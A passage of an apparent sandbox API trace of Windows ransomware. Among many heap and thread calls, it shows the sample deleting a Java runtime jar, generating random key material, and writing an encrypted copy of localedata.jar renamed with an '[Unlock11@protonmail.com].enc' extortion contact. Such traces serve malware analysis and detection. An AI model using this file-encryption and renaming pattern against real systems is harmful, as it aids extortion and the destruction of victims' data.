GetCurrentThreadId () returned 0x9b0 [0131.106] GetCurrentThreadId () returned 0x9b0 [0131.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0131.107] GetCurrentThreadId () returned 0x9b0 [0131.107] GetCurrentThreadId () returned 0x9b0 [0131.108] GetCurrentThreadId () returned 0x9b0 [0131.108] GetCurrentThreadId () returned 0x9b0 [0131.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0131.108] GetCurrentThreadId () returned 0x9b0 [0131.109] GetCurrentThreadId () returned 0x9b0 [0131.109] GetCurrentThreadId () returned 0x9b0 [0131.109] GetCurrentThreadId () returned 0x9b0 [0131.110] GetCurrentThreadId () returned 0x9b0 [0131.111] GetCurrentThreadId () returned 0x9b0 [0131.111] GetCurrentThreadId () returned 0x9b0 [0131.111] GetCurrentThreadId () returned 0x9b0 [0131.111] GetCurrentThreadId () returned 0x9b0 [0131.113] GetCurrentThreadId () returned 0x9b0 [0131.113] GetCurrentThreadId () returned 0x9b0 [0131.113] GetCurrentThreadId () returned 0x9b0 [0131.113] GetCurrentThreadId () returned 0x9b0 [0131.114] GetCurrentThreadId () returned 0x9b0 [0131.115] GetCurrentThreadId () returned 0x9b0 [0131.115] GetCurrentThreadId () returned 0x9b0 [0131.115] GetCurrentThreadId () returned 0x9b0 [0131.116] GetCurrentThreadId () returned 0x9b0 [0131.117] GetCurrentThreadId () returned 0x9b0 [0131.117] GetCurrentThreadId () returned 0x9b0 [0131.117] GetCurrentThreadId () returned 0x9b0 [0131.118] GetCurrentThreadId () returned 0x9b0 [0131.119] GetCurrentThreadId () returned 0x9b0 [0131.119] GetCurrentThreadId () returned 0x9b0 [0131.120] GetCurrentThreadId () returned 0x9b0 [0131.121] GetCurrentThreadId () returned 0x9b0 [0131.122] GetCurrentThreadId () returned 0x9b0 [0131.122] GetCurrentThreadId () returned 0x9b0 [0131.123] GetCurrentThreadId () returned 0x9b0 [0131.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0131.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0131.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0131.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0131.124] GetCurrentThreadId () returned 0x9b0 [0131.125] GetCurrentThreadId () returned 0x9b0 [0131.125] GetCurrentThreadId () returned 0x9b0 [0131.125] GetCurrentThreadId () returned 0x9b0 [0131.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0131.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0131.126] GetCurrentThreadId () returned 0x9b0 [0131.127] GetCurrentThreadId () returned 0x9b0 [0131.127] GetCurrentThreadId () returned 0x9b0 [0131.128] GetCurrentThreadId () returned 0x9b0 [0131.137] GetCurrentThreadId () returned 0x9b0 [0131.138] GetCurrentThreadId () returned 0x9b0 [0131.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6418 [0131.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63d8 | out: hHeap=0x2ad0000) returned 1 [0131.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0131.138] GetCurrentThreadId () returned 0x9b0 [0131.142] GetCurrentThreadId () returned 0x9b0 [0131.231] GetCurrentThreadId () returned 0x9b0 [0131.231] GetCurrentThreadId () returned 0x9b0 [0131.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6448 [0131.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6418 | out: hHeap=0x2ad0000) returned 1 [0131.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0131.232] GetCurrentThreadId () returned 0x9b0 [0131.233] GetCurrentThreadId () returned 0x9b0 [0131.233] GetCurrentThreadId () returned 0x9b0 [0131.234] GetCurrentThreadId () returned 0x9b0 [0131.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0131.235] GetCurrentThreadId () returned 0x9b0 [0131.236] GetCurrentThreadId () returned 0x9b0 [0131.236] GetCurrentThreadId () returned 0x9b0 [0131.237] GetCurrentThreadId () returned 0x9b0 [0131.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0131.237] GetCurrentThreadId () returned 0x9b0 [0131.238] GetCurrentThreadId () returned 0x9b0 [0131.239] GetCurrentThreadId () returned 0x9b0 [0131.240] GetCurrentThreadId () returned 0x9b0 [0131.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0131.240] GetCurrentThreadId () returned 0x9b0 [0131.242] GetCurrentThreadId () returned 0x9b0 [0131.242] GetCurrentThreadId () returned 0x9b0 [0131.242] GetCurrentThreadId () returned 0x9b0 [0131.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0131.243] GetCurrentThreadId () returned 0x9b0 [0131.244] GetCurrentThreadId () returned 0x9b0 [0131.244] GetCurrentThreadId () returned 0x9b0 [0131.245] GetCurrentThreadId () returned 0x9b0 [0131.245] GetCurrentThreadId () returned 0x9b0 [0131.246] GetCurrentThreadId () returned 0x9b0 [0131.246] GetCurrentThreadId () returned 0x9b0 [0131.246] GetCurrentThreadId () returned 0x9b0 [0131.246] GetCurrentThreadId () returned 0x9b0 [0131.247] GetCurrentThreadId () returned 0x9b0 [0131.248] GetCurrentThreadId () returned 0x9b0 [0131.249] GetCurrentThreadId () returned 0x9b0 [0131.249] GetCurrentThreadId () returned 0x9b0 [0131.251] GetCurrentThreadId () returned 0x9b0 [0131.251] GetCurrentThreadId () returned 0x9b0 [0131.251] GetCurrentThreadId () returned 0x9b0 [0131.252] GetCurrentThreadId () returned 0x9b0 [0131.252] GetCurrentThreadId () returned 0x9b0 [0131.253] GetCurrentThreadId () returned 0x9b0 [0131.255] GetCurrentThreadId () returned 0x9b0 [0131.255] GetCurrentThreadId () returned 0x9b0 [0131.256] GetCurrentThreadId () returned 0x9b0 [0131.256] GetCurrentThreadId () returned 0x9b0 [0131.256] GetCurrentThreadId () returned 0x9b0 [0131.257] GetCurrentThreadId () returned 0x9b0 [0131.258] GetCurrentThreadId () returned 0x9b0 [0131.258] GetCurrentThreadId () returned 0x9b0 [0131.260] GetCurrentThreadId () returned 0x9b0 [0131.260] GetCurrentThreadId () returned 0x9b0 [0131.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0131.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0131.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0131.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0131.262] GetCurrentThreadId () returned 0x9b0 [0131.262] GetCurrentThreadId () returned 0x9b0 [0131.262] GetCurrentThreadId () returned 0x9b0 [0131.263] GetCurrentThreadId () returned 0x9b0 [0131.263] GetCurrentThreadId () returned 0x9b0 [0131.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0131.264] GetCurrentThreadId () returned 0x9b0 [0131.264] GetCurrentThreadId () returned 0x9b0 [0131.265] GetCurrentThreadId () returned 0x9b0 [0131.266] GetCurrentThreadId () returned 0x9b0 [0131.969] CloseHandle (hObject=0x3ac) returned 1 [0131.970] CloseHandle (hObject=0x39c) returned 1 [0131.970] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 1 [0131.975] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", lpFilePart=0x9bada4*="localedata.jar") returned 0x39 [0131.976] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d)) returned 1 [0131.976] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d0fc | out: pbBuffer=0x366d0fc) returned 1 [0131.976] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0131.976] GetFileType (hFile=0x39c) returned 0x1 [0131.977] GetFileType (hFile=0x39c) returned 0x1 [0131.977] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0131.977] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0131.977] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0131.977] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0131.977] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0131.977] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0131.977] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0131.977] GetLastError () returned 0x0 [0131.977] GetCurrentThreadId () returned 0x9b0 [0131.977] GetLastError () returned 0x0 [0131.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6488 | out: hHeap=0x2ad0000) returned 1 [0131.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0131.978] GetLastError () returned 0x0 [0131.978] GetLastError () returned 0x0 [0131.978] GetLastError () returned 0x0 [0131.978] GetLastError () returned 0x0 [0131.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0131.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64b8 [0131.978] GetLastError () returned 0x0 [0131.978] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0131.979] GetFileType (hFile=0x3ac) returned 0x1 [0131.979] GetLastError () returned 0x0 [0131.979] GetCurrentThreadId () returned 0x9b0 [0131.979] GetLastError () returned 0x0 [0131.979] GetFileType (hFile=0x3ac) returned 0x1 [0131.979] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0131.979] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0131.979] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0131.979] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0131.980] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0131.980] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0131.980] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0131.980] GetLastError () returned 0x0 [0131.980] GetCurrentThreadId () returned 0x9b0 [0131.980] GetLastError () returned 0x0 [0131.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0131.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0131.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0131.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0131.980] GetLastError () returned 0x0 [0131.980] GetLastError () returned 0x0 [0131.981] GetCurrentThreadId () returned 0x9b0 [0131.981] GetLastError () returned 0x0 [0131.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0131.981] GetLastError () returned 0x0 [0131.981] GetLastError () returned 0x0 [0131.981] GetCurrentThreadId () returned 0x9b0 [0131.981] GetLastError () returned 0x0 [0131.981] GetLastError () returned 0x0 [0131.983] GetLastError () returned 0x0 [0131.983] GetCurrentThreadId () returned 0x9b0 [0131.983] GetLastError () returned 0x0 [0131.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64a8 | out: hHeap=0x2ad0000) returned 1 [0131.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0131.984] GetCurrentThreadId () returned 0x9b0 [0131.984] GetLastError () returned 0x0 [0131.984] GetLastError () returned 0x0 [0131.984] GetLastError () returned 0x0 [0131.984] GetLastError () returned 0x0 [0131.985] GetCurrentThreadId () returned 0x9b0 [0131.985] GetLastError () returned 0x0 [0131.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0131.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0131.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0131.985] GetLastError () returned 0x0 [0131.987] GetLastError () returned 0x0 [0131.987] GetCurrentThreadId () returned 0x9b0 [0131.987] GetLastError () returned 0x0 [0131.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0131.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0131.987] GetLastError () returned 0x0 [0131.988] GetLastError () returned 0x0 [0131.988] GetCurrentThreadId () returned 0x9b0 [0131.988] GetLastError () returned 0x0 [0131.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0131.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6428 [0131.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6548 | out: hHeap=0x2ad0000) returned 1 [0131.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0131.989] GetLastError () returned 0x0 [0131.989] GetLastError () returned 0x0 [0131.989] GetLastError () returned 0x0 [0131.989] GetLastError () returned 0x0 [0131.990] GetCurrentThreadId () returned 0x9b0 [0131.990] GetLastError () returned 0x0 [0131.990] GetCurrentThreadId () returned 0x9b0 [0131.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0131.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0131.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0131.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0131.990] GetLastError () returned 0x0 [0131.991] GetLastError () returned 0x0 [0131.991] GetCurrentThreadId () returned 0x9b0 [0131.991] GetLastError () returned 0x0 [0131.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0131.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0131.991] GetLastError () returned 0x0 [0131.992] GetLastError () returned 0x0 [0131.992] GetCurrentThreadId () returned 0x9b0 [0131.992] GetLastError () returned 0x0 [0131.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0131.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6398 [0131.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6428 | out: hHeap=0x2ad0000) returned 1 [0131.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0131.994] GetLastError () returned 0x0 [0131.994] GetLastError () returned 0x0 [0131.994] GetLastError () returned 0x0 [0131.994] GetLastError () returned 0x0 [0131.994] GetCurrentThreadId () returned 0x9b0 [0131.994] GetLastError () returned 0x0 [0131.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0131.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0131.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0131.995] GetLastError () returned 0x0 [0131.996] GetLastError () returned 0x0 [0131.996] GetCurrentThreadId () returned 0x9b0 [0131.996] GetLastError () returned 0x0 [0131.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0131.996] GetCurrentThreadId () returned 0x9b0 [0131.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0131.996] GetLastError () returned 0x0 [0131.997] GetLastError () returned 0x0 [0131.997] GetCurrentThreadId () returned 0x9b0 [0131.997] GetLastError () returned 0x0 [0131.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0131.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64c8 [0131.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6398 | out: hHeap=0x2ad0000) returned 1 [0131.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0131.998] GetLastError () returned 0x0 [0131.998] GetLastError () returned 0x0 [0131.998] GetLastError () returned 0x0 [0131.998] GetLastError () returned 0x0 [0131.999] GetCurrentThreadId () returned 0x9b0 [0131.999] GetLastError () returned 0x0 [0131.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0131.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0131.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0131.999] GetLastError () returned 0x0 [0132.000] GetLastError () returned 0x0 [0132.000] GetCurrentThreadId () returned 0x9b0 [0132.000] GetLastError () returned 0x0 [0132.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.000] GetLastError () returned 0x0 [0132.002] GetLastError () returned 0x0 [0132.002] GetCurrentThreadId () returned 0x9b0 [0132.002] GetLastError () returned 0x0 [0132.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.002] GetCurrentThreadId () returned 0x9b0 [0132.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64d8 [0132.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64c8 | out: hHeap=0x2ad0000) returned 1 [0132.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.003] GetLastError () returned 0x0 [0132.003] GetLastError () returned 0x0 [0132.003] GetLastError () returned 0x0 [0132.003] GetLastError () returned 0x0 [0132.003] GetCurrentThreadId () returned 0x9b0 [0132.003] GetLastError () returned 0x0 [0132.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.004] GetLastError () returned 0x0 [0132.005] GetLastError () returned 0x0 [0132.006] GetCurrentThreadId () returned 0x9b0 [0132.006] GetLastError () returned 0x0 [0132.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.006] GetLastError () returned 0x0 [0132.006] GetLastError () returned 0x0 [0132.007] GetCurrentThreadId () returned 0x9b0 [0132.007] GetLastError () returned 0x0 [0132.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.007] GetCurrentThreadId () returned 0x9b0 [0132.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6468 [0132.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64d8 | out: hHeap=0x2ad0000) returned 1 [0132.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.008] GetLastError () returned 0x0 [0132.008] GetLastError () returned 0x0 [0132.008] GetLastError () returned 0x0 [0132.008] GetLastError () returned 0x0 [0132.008] GetCurrentThreadId () returned 0x9b0 [0132.008] GetLastError () returned 0x0 [0132.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.009] GetLastError () returned 0x0 [0132.010] GetLastError () returned 0x0 [0132.010] GetCurrentThreadId () returned 0x9b0 [0132.010] GetLastError () returned 0x0 [0132.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.010] GetLastError () returned 0x0 [0132.010] GetLastError () returned 0x0 [0132.010] GetCurrentThreadId () returned 0x9b0 [0132.010] GetLastError () returned 0x0 [0132.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6418 [0132.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6468 | out: hHeap=0x2ad0000) returned 1 [0132.011] GetCurrentThreadId () returned 0x9b0 [0132.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.011] GetLastError () returned 0x0 [0132.011] GetLastError () returned 0x0 [0132.011] GetLastError () returned 0x0 [0132.011] GetLastError () returned 0x0 [0132.011] GetCurrentThreadId () returned 0x9b0 [0132.012] GetLastError () returned 0x0 [0132.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.012] GetLastError () returned 0x0 [0132.013] GetLastError () returned 0x0 [0132.013] GetCurrentThreadId () returned 0x9b0 [0132.013] GetLastError () returned 0x0 [0132.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.013] GetLastError () returned 0x0 [0132.014] GetLastError () returned 0x0 [0132.015] GetCurrentThreadId () returned 0x9b0 [0132.015] GetLastError () returned 0x0 [0132.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6408 [0132.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6418 | out: hHeap=0x2ad0000) returned 1 [0132.015] GetCurrentThreadId () returned 0x9b0 [0132.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.016] GetLastError () returned 0x0 [0132.016] GetLastError () returned 0x0 [0132.016] GetLastError () returned 0x0 [0132.016] GetLastError () returned 0x0 [0132.016] GetCurrentThreadId () returned 0x9b0 [0132.016] GetLastError () returned 0x0 [0132.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.017] GetLastError () returned 0x0 [0132.018] GetLastError () returned 0x0 [0132.018] GetCurrentThreadId () returned 0x9b0 [0132.018] GetLastError () returned 0x0 [0132.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.018] GetLastError () returned 0x0 [0132.018] GetLastError () returned 0x0 [0132.018] GetCurrentThreadId () returned 0x9b0 [0132.018] GetLastError () returned 0x0 [0132.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64b8 [0132.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6408 | out: hHeap=0x2ad0000) returned 1 [0132.019] GetCurrentThreadId () returned 0x9b0 [0132.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 